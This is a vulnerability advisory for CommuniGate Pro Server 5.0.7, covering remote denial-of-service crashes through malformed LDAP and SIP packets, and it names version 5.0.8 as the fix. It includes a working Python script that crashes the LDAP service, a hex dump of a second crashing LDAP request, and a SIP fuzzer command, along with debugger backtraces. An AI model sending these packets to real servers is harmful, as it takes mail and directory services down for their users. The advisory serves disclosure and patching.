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CommuniGate Pro Server Multiple DoS (LDAP, SIP)
------------------------------------------------------------------------
SUMMARY
" <http://www.stalker.com/content/solutions.htm> CommuniGate Pro is the
most scalable and modern Internet Communications application server on the
market today. "
Improper handling of multiple LDAP and SIP usage allows attackers to
remotely crash CommuniGate Pro.
DETAILS
Vulnerable Systems:
* CommuniGate Pro Server version 5.0.7
Immune Systems:
* CommuniGate Pro Server version 5.0.8
LDAP DoS:
By crafting a special LDAP packet, attackers can crash the server
remotely.
Proof of Concept:
#!/usr/bin/env python
# Use this code at your own risk.
# It may crash your server!
# Author: Evgeny Legerov
import sys
import socket
HELP="""
CommuniGate Pro 5.0.6 vulnerability.
Found with ProtoVer LDAP testsuite v1.1
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1389495376 (LWP 20235)]
0xada99bbc in memcpy () from /lib/libc.so.6
(gdb) backtrace
#0 0xada99bbc in memcpy () from /lib/libc.so.6
#1 0x083924b8 in STCopyCString ()
#2 0x08349d5b in BERPackedData::makeCString ()
#3 0x081ae71a in VLDAPInput::processBINDrequest ()
#4 0x081af747 in VLDAPInput::processInput ()
#5 0x082c9373 in VStream::worker ()
#6 0x082ca1e9 in VStream::starter ()
#7 0x08399e7d in STThreadStarter ()
#8 0xadb8bb80 in start_thread () from /lib/libpthread.so.0
#9 0xadaf8dee in clone () from /lib/libc.so.6
(gdb) x/i $eip
0xada99bbc <memcpy+28>: repz movsl %ds:(%esi),%es:(%edi)
(gdb) info regi esi edi ecx
esi 0x8688961 141068641
edi 0x86c6fff 141324287
ecx 0x3fff7eae 1073708718
"""
print HELP
host="localhost"
port=389
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host,port))
s = "\x30\x12\x02\x01\x01\x60\x0d\x02\x01\x03\x04\x02\x44\x4e\x80"
s += "\x84\xff\xff\xff\xff"
sock.sendall(s)
sock.close()
1+1=2
LDAP DoS:
By crafting special LDAP packet, attackers can crash the server remotely.
Example:
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1458242640 (LWP 25554)]
0x080fa008 in VDirectoryFile::findParentDN ()
(gdb) backtrace
#0 0x080fa008 in VDirectoryFile::findParentDN ()
#1 0x080fa031 in VDirectoryFile::findParentDN ()
..
#353 0x080fa031 in VDirectoryFile::findParentDN ()
#354 0x080fcc6f in VDirectoryFile::findRecords ()
#355 0x080efc23 in VDirectory::findDirectoryRecords ()
#356 0x081b09b3 in VLDAPInput::processInput ()
#357 0x082cb5a3 in VStream::worker ()
#358 0x082cc419 in VStream::starter ()
#359 0x0839c369 in STThreadStarter ()
#360 0xa9a09b80 in start_thread () from /lib/libpthread.so.0
#361 0xa9976dee in clone () from /lib/libc.so.6
To reproduce the vulnerability, send the following data to LDAP port:
"""
30 82 02 38 02 01 01 63 82 02 31 04 82 02 15 64
63 3d 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 64 63 3d 65 78 61 6d 70 6c 65 2c 64 63
3d 63 6f 6d 0a 01 02 0a 01 00 02 01 00 02 01 00
01 01 00 a2 05 87 03 66 6f 6f 30 00
SIP DoS:
By crafting special SIP packet, attackers can crash the server remotely.
Example:
StarGate:~# java -jar c07-sip-r2.jar -touri kfinisterre@192.168.0.35
-single 2361
Log file snippet:
Dec 9 16:18:14 localhost CommuniGatePro: CommuniGate Pro Server 5.0.3
started
Dec 9 16:20:35 localhost CommuniGatePro: Exception signal: 11, trying to
recover
Dec 9 16:20:35 localhost CommuniGatePro: Exception in <STThread 87394E8
UDPReceiver 5060>
Dec 9 16:21:07 localhost CommuniGatePro: CommuniGate Pro Server 5.0.3
started
Dec 9 16:21:33 localhost CommuniGatePro: Exception signal: 11, trying to
recover
Dec 9 16:21:33 localhost CommuniGatePro: Exception in <STThread 8738B60
UDPReceiver 5060>
0x4010e3ac in memmove () from /lib/libc.so.6
(gdb) i r
eax 0xffffffe0 -32
ecx 0x1 1
edx 0xffffffe1 -31
ebx 0x8699758 141137752
esp 0xbabff670 0xbabff670
ebp 0xbabff678 0xbabff678
esi 0x868eeae 141094574
edi 0xffffffe0 -32
eip 0x4010e3ac 0x4010e3ac
(gdb) x/i $pc
0x4010e3ac <memmove+92>: repz movsb %ds:(%esi),%es:(%edi)
(gdb) bt
#0 0x4010e3ac in memmove () from /lib/libc.so.6
#1 0x0836cdac in SBMutableData::setBytes ()
#2 0x08280964 in VSIPPacket::parseFields ()
#3 0x0827f8da in VSIPPacket::parseData ()
#4 0x0827c8e8 in VSIP::processReadPacket ()
#5 0x0827ce83 in VSIP::processUDPRequest ()
#6 0x081bfeb1 in VUDPListener::receiver ()
#7 0x081bfa71 in VUDPListener::receiverStarter ()
#8 0x0838ad1d in STThreadStarter ()
#9 0x4002af4c in pthread_start_thread () from /lib/libpthread.so.0
#10 0x4002afda in pthread_start_thread_event () from /lib/libpthread.so.0
#11 0x4015f92a in clone () from /lib/libc.so.6
Vendor Status:
The vendor has issued a new version with fixes: CommuniGate Pro Server
version 5.0.8
ADDITIONAL INFORMATION
The information has been provided by <mailto:research@gleg.net> Evgeny
Legerov and <mailto:kf_lists@digitalmunition.com> KF .
The original article can be found at:
<http://www.gleg.net/cg_advisory.txt> http://www.gleg.net/cg_advisory.txt
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